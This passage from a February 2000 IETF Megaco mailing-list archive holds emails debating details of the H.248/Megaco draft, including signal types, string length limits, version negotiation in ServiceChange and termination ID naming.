  **** The opinions expressed are not those of Alcatel USA, Inc ****
  --------------94CD599B2AF791D1E641B7E1-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 19:32:54 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA24145 for ; Wed, 2 Feb 2000 19:32:54 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.EE8C9F30@standards.nortelnetworks.com>; Wed, 2 Feb 2000 19:30:15 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19962 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 19:28:22 -0500 Received: from mail-dns1-nj.dialogic.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.451A48E0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 19:18:22 -0500 Received: from mail4.dialogic.com (mail4.dialogic.com [146.152.6.40]) by mail-dns1-nj.dialogic.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.11 1999/11/10 17:27:15 spurcell Exp $) with ESMTP id AAA12844 for ; Thu, 3 Feb 2000 00:21:33 GMT Received: from exchange3nj.dialogic.com (mailnj.dialogic.com [146.152.3.18]) by mail4.dialogic.com (PMDF V5.2-31 #40816) with ESMTP id <0FPB0045GVM0YY@mail4.dialogic.com> for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 19:20:24 -0500 (EST) Received: from STIEGLITZ ([146.152.84.25]) by exchange3nj.dialogic.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id 1BFGA0PV; Wed, 02 Feb 2000 19:18:50 -0500 X-Sender: magnells@exchange1nj.dialogic.com MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Message-ID: <3.0.3.32.20000202191949.054e5260@exchange1nj.dialogic.com> Date: Wed, 2 Feb 2000 19:19:49 -0500 Reply-To: Steven Magnell Sender: "Media Gateway Control (megaco)" From: Steven Magnell Subject: maximum size of a VALUE To: MEGACO@STANDARDS.NORTELNETWORKS.COM Content-Transfer-Encoding: 7BIT This may be minor compared to other issues, but it seems that the maximum size of a VALUE is 64 characters (not including quotes) in the ABNF syntax. It should be larger, perhaps arbitrary. The ASN.1 definition of Value does not have this limitation. While this does not seem to be a concern with the basic packages, looking ahead to upcoming packages such as the display and text telephone packages in the otherpkgs draft and the cromwell ARF draft, there is a need to support longer strings. The text telephone package, for example, defines string parameters with a maximum of 256 characters and the others have strings of arbitrary length where some larger string, such as a display or text-to-speech announcement, would certainly be reasonable. steve magnell From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 20:55:42 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24791 for ; Wed, 2 Feb 2000 20:55:42 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A6488B60@standards.nortelnetworks.com>; Wed, 2 Feb 2000 20:18:21 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20047 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 20:16:37 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.688BCBC0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 20:16:37 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 19:18:09 -0600 Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Wed, 2 Feb 2000 20:17:47 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1D5VBHBR>; Wed, 2 Feb 2000 20:17:47 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6DE4.7A019B80" Message-ID: Date: Wed, 2 Feb 2000 20:17:45 -0500 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: Cisco SG16: Signals Operation X-To: Chip Sharp To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6DE4.7A019B80 Content-Type: text/plain; charset="iso-8859-1" I have every sympathy with your first point -- I couldn't resist the temptation to propose a new definition of BR. The fact is, the way things currently stand, we could abolish the signal type parameter and it would make no difference to the operation of the protocol. I suppose we would have to define an "infinite" duration to simulate on/off as currently defined, but even that might not be necessary. Speaking as chair, I suppose I have to say that the null hypothesis is that we stick with our current text. We have two other alternatives: (a) New distinctive definitions for BR, TO, OO, with the understanding that the definition of a given signal indicates its default type, but that type can always be overridden by the type parameter. - BR duration is assumed to be known to the MG without explicit MGC input. BR signals can be stopped by detection of events without the KeepActive parameter or by replacement of the current signal descriptor with one not containing the indicated signal. - TO duration is given explicitly by the duration parameter. A default may be provisioned or defined in the package. TO signals can be stopped by detection of events without the KeepActive parameter or by replacement of the current signal descriptor with one not containing the indicated signal. - OO signals remain active until a signal descriptor with explicit turn-off syntax comes into effect (Chip's proposal). (b) Abolish signal type. If I see a sudden rush to agreement on something other than the existing text I'll feed it into Geneva. Otherwise things stay put and we can try again for H.248v2 -- the protocol works as is. Comments to the other points follow them. > -----Original Message----- > From: Chip Sharp [SMTP:chsharp@CISCO.COM] > Sent: Tuesday, January 25, 2000 7:59 PM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Cisco SG16: Signals Operation > > Section: 7.1.10, fourth paragraph, first bullet. > Category: Technical, Open Issue > Issue: The draft text defines on/off signals "the signal lasts > until it is > turned off", however this definition is not clear. Specifically, it is not > clear if an on/off signal is turned off by not being included in a > subsequent SignalsDescriptor or if it is turned off by some explicit > action. In the latter case, syntax is missing leading one to believe that > the former definition is intended. The former definition on the other hand > is somewhat problematic and overlaps the definition of time-out signals > with an indefinite duration. Consider for instance a "visual message > waiting indicator" defined as an on/off signal. Unless the signal is > included in all subsequent SignalsDescritpors, the indicator will be > turned > off. The on/off signal type would be more useful (and not a duplicate of > timeout) if this was not the case. > Also, it should be noted, that the more general topic of signal types and > the details of their operation has been the subject of much debate on the > IETF Megaco mailing list since the white contribution was developed, and > that at time of writing, no resolution had been found. > > Proposal: It is recommended that the definition of on/off is > clarified in > accordance with the above and the missing syntax added. > > v13 Status: OPEN. No substantial change has been made. > > Section: 7.1.10, fourth paragraph, second bullet > Category: Technical > Issue: The draft text defines timeout signals as "the signal > lasts until > it is turned off or a specific period of time elapses", however there is > no > mechanism specified for informing the MGC when that specific period of > time > has elapsed and thus the signal has ended. The MGC may therefore be unable > to determine if a given signal is playing in an MG or not. An example > where > this is needed is outpulsing with MF Feature Group D trunks where multiple > digit strings (address and caller id) need to be outpulsed. MGC needs to > know when outpulsing of the first string of digits has occurred before > requesting out-pulsing of the next string.). Another example is a signal > activated through an external event such as user input (by use of an > embedded signals descriptor). > > Proposal: It is strongly recommended that a mechanism for notifying > the MGC > upon timeout signal completion is added, e.g. in the form of an event > ("operation complete"). Furthermore, it should be considered to add > another > event that would allow the MGC to be informed if generation of the signal > fails for some reason (e.g. "operation failure"). It should be noted, that > this may happen in the middle of the signals defined duration. > > v13 Status: OPEN. No substantial change has been made. > [[TomT]] v14 adds the notifyCompletion parameter for every signal and text on how completions are notified in section 7.2.7. For failures we have that generic failure event in E.1, but no text on how to apply it or what request ID to use for it. > Section: 12.1.4 > Category: Technical, Open Issue > Issue: The draft text mentions SignalType CN (Continue), however > this > SignalType is not defined in Section 7.1.10 on Signals Descriptor. > Also, it should be noted, that the more general topic of signal types and > the details of their operation has been the subject of much debate on the > IETF Megaco mailing list since the white contribution was developed, and > that at time of writing, no resolution had been found. > Proposal: It is proposed that SignalType CN is removed from the > text. > > v13 Status: OPEN. No text changed. > [[TomT]] Done. > Section: 12.1.4 > Category: Technical, Open Issue > Issue: The draft text specifies that "Signals that would be > played with > SignalType BR should have a default duration" > Again, it should be noted, that the more general topic of signal types and > the details of their operation has been the subject of much debate on the > IETF Megaco mailing list since the white contribution was developed, and > that at time of writing, no resolution had been found. > Proposal: It is proposed that similar text is added as for signals > of > SignalType TO. > > v13 Status: OPEN. No text changed. [[TomT]] See initial comments to this message. > Support NetAid! http://www.netaid.org > -------------------------------------------------- > Chip Sharp Consulting Engineering > Cisco Systems Telco Bio-region > Reality - Love it or Leave it. > -------------------------------------------------- ------_=_NextPart_001_01BF6DE4.7A019B80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: Cisco SG16: Signals Operation

I have every = sympathy with your first point -- I couldn't resist the temptation to = propose a new definition of BR.  The fact is, the way things = currently stand, we could abolish the signal type parameter and it = would make no difference to the operation of the protocol.  I = suppose we would have to define an "infinite" duration to = simulate on/off as currently defined, but even that might not be = necessary.

Speaking as chair, I = suppose I have to say that the null hypothesis is that we stick with = our current text.  We have two other alternatives:

(a) New distinctive = definitions for BR, TO, OO, with the understanding that the definition = of a given signal indicates its default type, but that type can always = be overridden by the type parameter.

 - BR duration = is assumed to be known to the MG without explicit MGC input.  BR = signals can be stopped by detection of events without the KeepActive = parameter or by replacement of the current signal descriptor with one = not containing the indicated signal.

 - TO duration = is given explicitly by the duration parameter.  A default may be = provisioned or defined in the package.  TO signals can be stopped = by detection of events without the KeepActive parameter or by = replacement of the current signal descriptor with one not containing = the indicated signal.

 - OO signals = remain active until a signal descriptor with explicit turn-off syntax = comes into effect (Chip's proposal).

(b) Abolish signal = type.

If I see a sudden = rush to agreement on something other than the existing text I'll feed = it into Geneva.  Otherwise things stay put and we can try again = for H.248v2 -- the protocol works as is.

Comments to the = other points follow them.

    -----Original Message-----
    From:   Chip Sharp [SMTP:chsharp@CISCO.COM]
    Sent:   Tuesday, January 25, 2000 7:59 PM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = Cisco SG16: Signals Operation

    Section:        = 7.1.10, fourth paragraph, first bullet.
    Category:       Technical, = Open Issue
    Issue:        &nb= sp; The draft text defines on/off signals "the signal lasts until = it is
    turned off", however this = definition is not clear. Specifically, it is not
    clear if an on/off signal is turned = off by not being included in a
    subsequent SignalsDescriptor or if it = is turned off by some explicit
    action. In the latter case, syntax is = missing leading one to believe that
    the former definition is intended. = The former definition on the other hand
    is somewhat problematic and overlaps = the definition of time-out signals
    with an indefinite duration. Consider = for instance a "visual message
    waiting indicator" defined as an = on/off signal. Unless the signal is
    included in all subsequent = SignalsDescritpors, the indicator will be turned
    off. The on/off signal type would be = more useful (and not a duplicate of
    timeout) if this was not the = case.
    Also, it should be noted, that the = more general topic of signal types and
    the details of their operation has = been the subject of much debate on the
    IETF Megaco mailing list since the = white contribution was developed, and
    that at time of writing, no = resolution had been found.

    Proposal:       It is = recommended that the definition of on/off is clarified in
    accordance with the above and the = missing syntax added.

    v13 Status:     = OPEN. No substantial change has been made.

    Section:        = 7.1.10, fourth paragraph, second bullet
    Category:       = Technical
    Issue:        &nb= sp; The draft text defines timeout signals as "the signal lasts = until
    it is turned off or a specific period = of time elapses", however there is no
    mechanism specified for informing the = MGC when that specific period of time
    has elapsed and thus the signal has = ended. The MGC may therefore be unable
    to determine if a given signal is = playing in an MG or not. An example where
    this is needed is outpulsing with MF = Feature Group D trunks where multiple
    digit strings (address and caller id) = need to be outpulsed. MGC needs to
    know when outpulsing of the first = string of digits has occurred before
    requesting out-pulsing of the next = string.). Another example is a signal
    activated through an external event = such as user input (by use of an
    embedded signals descriptor).

    Proposal:       It is = strongly recommended that a mechanism for notifying the MGC
    upon timeout signal completion is = added, e.g. in the form of an event
    ("operation complete"). = Furthermore, it should be considered to add another
    event that would allow the MGC to be = informed if generation of the signal
    fails for some reason (e.g. = "operation failure"). It should be noted, that
    this may happen in the middle of the = signals defined duration.

    v13 Status:     = OPEN. No substantial change has been made.

    [[TomT]] 
    v14 adds the = notifyCompletion parameter for every signal and text on how completions = are notified in section 7.2.7.  For failures we have that generic = failure event in E.1, but no text on how to apply it or what request ID = to use for it.

    Section:        &= nbsp;       12.1.4
    Category:       Technical, = Open Issue
    Issue:        &nb= sp; The draft text mentions SignalType CN (Continue), however = this
    SignalType is not defined in Section = 7.1.10 on Signals Descriptor.
    Also, it should be noted, that the = more general topic of signal types and
    the details of their operation has = been the subject of much debate on the
    IETF Megaco mailing list since the = white contribution was developed, and
    that at time of writing, no = resolution had been found.
    Proposal:       It is = proposed that SignalType CN is removed from the text.

    v13 Status:     = OPEN. No text changed.

    [[TomT]]
    Done.

    Section:        = 12.1.4
    Category:       Technical, = Open Issue
    Issue:        &nb= sp; The draft text specifies that "Signals that would be played = with
    SignalType BR should have a default = duration"
    Again, it should be noted, that the = more general topic of signal types and
    the details of their operation has = been the subject of much debate on the
    IETF Megaco mailing list since the = white contribution was developed, and
    that at time of writing, no = resolution had been found.
    Proposal:       It is = proposed that similar text is added as for signals of
    SignalType TO.

    v13 Status:     = OPEN. No text changed.
    [[TomT]] 
    See initial = comments to this message.



    Support NetAid!  = http://www.netaid.org
    --------------------------------------------------=
    Chip = Sharp           &= nbsp;     Consulting Engineering
    Cisco = Systems           = ;   Telco Bio-region
    Reality - Love it or Leave it.
    --------------------------------------------------=

------_=_NextPart_001_01BF6DE4.7A019B80-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 20:55:43 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24810 for ; Wed, 2 Feb 2000 20:55:43 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.98889E40@standards.nortelnetworks.com>; Wed, 2 Feb 2000 20:39:26 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20116 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 20:37:54 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.61C32A10@standards.nortelnetworks.com>; Wed, 2 Feb 2000 20:37:54 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 19:39:34 -0600 Received: from zrchb213.us.nortel.com by zmers013; Wed, 2 Feb 2000 20:39:13 -0500 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1F2TJ9J0>; Wed, 2 Feb 2000 19:39:09 -0600 X-Mailer: Internet Mail Service (5.5.2448.0) Message-ID: Date: Wed, 2 Feb 2000 19:39:13 -0600 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Signals Race Condition To: MEGACO@STANDARDS.NORTELNETWORKS.COM Christian Groves has identified a race condition as follows: Current signals descriptor contains s1(with or without other signals). New signals descriptor also contains s1 (with or without other signals). Case 1: new descriptor arrives before s1 is finished playing. s1 continues to its defined duration if not interrupted by an event. Case 2: new descriptor arrives after s1 is finished playing. s1 starts all over again. Christian's point is that the outcome of sending the second signals descriptor matters from the user's point of view, but is potentially beyond the MGC's control. Workaround: MGC requests a completion report for s1 and waits for it before sending the second descriptor. Do people see this as adequate in h.248v1, or do we need explicit syntax to indicate which of continuation or restart is desired? Tom Taylor Advisor -- Emerging Carrier IP Standards E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor) Phone and FAX: +1 613 736 0961 From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 20:55:44 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24819 for ; Wed, 2 Feb 2000 20:55:43 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.476425F0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 20:51:29 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20154 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 20:50:05 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.1520B770@standards.nortelnetworks.com>; Wed, 2 Feb 2000 20:50:05 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 19:52:04 -0600 Received: from zrchb213.us.nortel.com by zmers013; Wed, 2 Feb 2000 20:51:53 -0500 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1F2TJ9MS>; Wed, 2 Feb 2000 19:51:49 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6DE9.3AE10A1C" Message-ID: Date: Wed, 2 Feb 2000 19:51:51 -0600 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: Profile and version in ServiceChange Descriptor X-To: Chuong Nguyen To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6DE9.3AE10A1C Content-Type: text/plain I like your approach of requiring initial registration to always use v1 format. Let's see what others say. > -----Original Message----- > From: Chuong Nguyen [SMTP:Chuong.Nguyen@USA.ALCATEL.COM] > Sent: Wednesday, February 02, 2000 12:33 PM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Re: Profile and version in ServiceChange Descriptor > > Can we just negotiate version at the message header level instead of going > into transaction > and serviceChange? > > IF MGC does not support the version specified in the message header, it > will return an > error to MG. MG can start backing off the version # until it finds one > that the MGC would > accept. > > The example seems to be implying that the first message is always encoded > in v1 and > version negotiation is done with serviceChange messages. If so, the > Standard should clearly > state this in section 11.3. > > Otherwise, in the example if MG started w/ v3, it would get an error at > the message level. > Then MG has to start backing off the version # until MGC accept it. So we > are back to doing > some kind of message level version negotiation. > > Chuong > > Abdallah Rayhan wrote: > > The objective of message versioning is different from protocol > versioning > in service change. Messaging versioning is for efficient parsing and > > processing of the message as well as debugging. While protocol > versioning > in servicechane is for changing the protocol version without > resorting to > error messages. > > For example, > 1- > ; msg encoded in V1, servicechange version is 2 > ; both MG and MGC understand V1 > MG -------> MGC > > 2- > ; msg is still encoded in V1, > ; MGC rejects service change version, MGC does not support V2 > ; MG realizes that it can not upgrade its communication with MGC > MG <------- MGC > > 3- MG decides whether it wants to continue communication with > MGC in V1 or halt. > > Another scenario would be that MGC supports V2 as well V1, so it > accepts service change to V2. MG encodes its msgs using V2 syntax > as well as MGC. The last two steps of the above scenario would be, > 2- > ; msg is still encoded in V1, > ; MGC accepts service change version, MGC supports V2 > ; MG realizes that it can upgrade its communication with MGC > MG <------- MGC > > 3- > ; msg is encoded in V2, > MG -------> MGC > > Abdallah Rayhan > > Harpreet Singh Anand wrote: > > > Hello, > > > > > The Profile field conatins a version and a version field is also > included > > > seperately in ServiceChange > > > Descriptor. Are they different, or this is redundant information > ? > > > > The version in the profile field specifies the version of the > profile being > > supported by the gateway. It is different from the version field > which specifies > > the version of the MEGACO protocol. > > > > Quote from section 7.2.8: > > > > " The optional Profile parameter specifies the Profile (if any) of > the > > protocol supported. The Profile includes the version of the > profile > > supported. > > > > The optional Version parameter contains the protocol version and > is used > > if protocol version negotiation occurs (see section 11.3). " > > > > A related question: What is the need of adding version field in > > ServiceChangeDescriptor when the same information is there in the > first line of > > the message ? > > > > Regards, > > Harpreet > > > > _________________________________ > > Harpreet Singh Anand > > Ficon Technology > > E-mail : > > Web : > > -- > Alcatel USA, Inc Internet: Chuong.Nguyen@usa.alcatel.com > 1000 Coit Road Plano, Texas 75075 Phone: (972) 519-4613 > **** The opinions expressed are not those of Alcatel USA, Inc **** > ------_=_NextPart_001_01BF6DE9.3AE10A1C Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: Profile and version in ServiceChange Descriptor

I like your approach = of requiring initial registration to always use v1 format.  Let's = see what others say.

    -----Original Message-----
    From:   Chuong Nguyen = [SMTP:Chuong.Nguyen@USA.ALCATEL.COM]
    Sent:   Wednesday, February 02, 2000 12:33 PM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = Re: Profile and version in = ServiceChange Descriptor

    Can we just negotiate version at the message = header level instead of going into transaction
    and serviceChange?

    IF MGC=A0does not support the version specified = in the message header, it will return an
    error to MG.=A0 MG can start backing off the version # until it finds = one that the MGC would
    accept.

    The example seems to be implying that the first = message is always encoded in v1 and
    version negotiation is done with serviceChange messages.=A0 If so, the = Standard should clearly
    state this in section 11.3.

    Otherwise, in the example if MG started w/ v3, = it would get an error at the message level.
    Then MG has to start backing off the version # until MGC accept it.=A0 = So we are back to doing
    some kind of message level version negotiation.

    Chuong

    Abdallah Rayhan wrote:

      The objective of message versioning is = different from protocol versioning
      in service change. Messaging versioning is for efficient parsing = and
      processing of the message as well as debugging. While protocol = versioning
      in servicechane is for changing the protocol version without resorting = to
      error messages.

      For example,
      1-
      ; msg encoded in V1, servicechange version is 2
      ; both MG and MGC understand V1
      MG -------> MGC

      2-
      ; msg is still encoded in V1,
      ; MGC rejects service change version, MGC does not support V2
      ; MG realizes that it can not upgrade its communication with MGC
      MG <------- MGC

      3- MG decides whether it wants to continue = communication with
      MGC in V1 or halt.

      Another scenario would be that MGC supports V2 = as well V1, so it
      accepts service change to V2. MG encodes its msgs using V2 syntax
      as well as MGC. The last two steps of the above scenario would be,
      2-
      ; msg is still encoded in V1,
      ; MGC accepts service change version, MGC supports V2
      ; MG realizes that it can upgrade its communication with MGC
      MG <------- MGC

      3-
      ; msg is encoded in V2,
      MG -------> MGC

      Abdallah Rayhan

      Harpreet Singh Anand wrote:

      > Hello,
      >
      > > The Profile field conatins a version and a version field is = also included
      > > seperately in ServiceChange
      > > Descriptor. Are they different, or this is redundant = information ?
      >
      > The version in the profile field specifies the version of the = profile being
      > supported by the gateway. It is different from the version field = which specifies
      > the version of the MEGACO protocol.
      >
      > Quote from section 7.2.8:
      >
      > " The optional Profile parameter specifies the Profile (if = any) of the
      > protocol supported.=A0 The Profile includes the version of the = profile
      > supported.
      >
      > The optional Version parameter contains the protocol version and = is used
      > if protocol version negotiation occurs (see section 11.3). = "
      >
      > A related question: What is the need of adding version field = in
      > ServiceChangeDescriptor when the same information is there in the = first line of
      > the message ?
      >
      > Regards,
      > Harpreet
      >
      > _________________________________
      > Harpreet Singh Anand
      > Ficon Technology
      > E-mail :=A0       <mailto:hsanand@ficon-tech.com= >
      > Web=A0=A0=A0 :=A0       <http://www.ficon-tech.com>

    --=A0
    =A0 Alcatel USA, Inc=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 Internet: = Chuong.Nguyen@usa.alcatel.com
    =A0 1000 Coit Road Plano, Texas 75075=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 = Phone:=A0=A0=A0 (972) 519-4613
    =A0 **** The opinions expressed are not those of Alcatel USA, Inc = ****
    =A0

------_=_NextPart_001_01BF6DE9.3AE10A1C-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 21:21:24 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA25093 for ; Wed, 2 Feb 2000 21:21:24 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.0E0A0050@standards.nortelnetworks.com>; Wed, 2 Feb 2000 21:18:31 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20178 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 21:16:44 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.CE1A8230@standards.nortelnetworks.com>; Wed, 2 Feb 2000 21:16:43 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 20:17:12 -0600 Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Wed, 2 Feb 2000 21:16:58 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1D5VBHMK>; Wed, 2 Feb 2000 21:16:58 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6DEC.BF0F91A2" Message-ID: Date: Wed, 2 Feb 2000 21:16:57 -0500 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: How does a TerminationID look like X-To: Singaravelan Singaraselvan To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6DEC.BF0F91A2 Content-Type: text/plain We have avoided standardizing termination IDs. A couple of people have suggested that their gateways will have a hardcoded terminationID format, but this should be vendor-specific: configurations will vary between vendors. If we really want to get into standardization of naming, I know a bunch of M- and G-series ITU-T Recommendations which will provide a starting point on the digital facility side. Bottom line: above the MG you should assume that termination IDs will be arbitrary collections of characters. The SG (Signalling Gateway), if involved in the call, needs a table mapping between {OPC,DPC,CIC} and MGC. The MGC needs a table mapping between {OPC,DPC,CIC} and {MG,terminationID}. The MGC also needs routing tables on the TDM side to map from routes to the {MG,terminationID} pairs that make up those routes. > -----Original Message----- > From: Singaravelan Singaraselvan > [SMTP:Singaravelan_Singaraselvan@MW.3COM.COM] > Sent: Wednesday, February 02, 2000 12:41 PM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: How does a TerminationID look like > > Hi all, > > I would like to know, an example for a Termination Id when the input is > a T1 > Trunk. > > Because we need to map the ISUP data namely OPC, DPC and CIC to a > Termination > ID. > > Thanks, > Singar/.. ------_=_NextPart_001_01BF6DEC.BF0F91A2 Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: How does a TerminationID look like

We have avoided = standardizing termination IDs.  A couple of people have suggested = that their gateways will have a hardcoded terminationID format, but = this should be vendor-specific: configurations will vary between = vendors.  If we really want to get into standardization of naming, = I know a bunch of M- and G-series ITU-T Recommendations which will = provide a starting point on the digital facility side.  Bottom = line: above the MG you should assume that termination IDs will be = arbitrary collections of characters.

The SG (Signalling = Gateway), if involved in the call, needs a table mapping between = {OPC,DPC,CIC} and MGC.  The MGC needs a table mapping between = {OPC,DPC,CIC} and {MG,terminationID}.  The MGC also needs routing = tables on the TDM side to map from routes to the {MG,terminationID} = pairs that make up those routes.

    -----Original Message-----
    From:   Singaravelan Singaraselvan = [SMTP:Singaravelan_Singaraselvan@MW.3COM.COM]
    Sent:   Wednesday, February 02, 2000 12:41 PM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = How does a TerminationID look = like

    Hi all,

      I would like to know, an = example for a Termination Id when the input is a T1
    Trunk.

      Because we need to map the ISUP = data namely OPC, DPC and CIC to a Termination
    ID.

      Thanks,
      Singar/..

------_=_NextPart_001_01BF6DEC.BF0F91A2-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 21:54:09 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA26289 for ; Wed, 2 Feb 2000 21:54:08 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.AC152690@standards.nortelnetworks.com>; Wed, 2 Feb 2000 21:51:34 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20217 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 21:49:50 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.6DD2E340@standards.nortelnetworks.com>; Wed, 2 Feb 2000 21:49:49 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 20:51:39 -0600 Received: from zrchb213.us.nortel.com by zmers013; Wed, 2 Feb 2000 21:51:30 -0500 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1F2TJ9XP>; Wed, 2 Feb 2000 20:51:26 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6DF1.9044DCE2" Message-ID: Date: Wed, 2 Feb 2000 20:51:29 -0600 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: Cisco SG16: Service Change X-To: Chip Sharp To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6DF1.9044DCE2 Content-Type: text/plain Comments 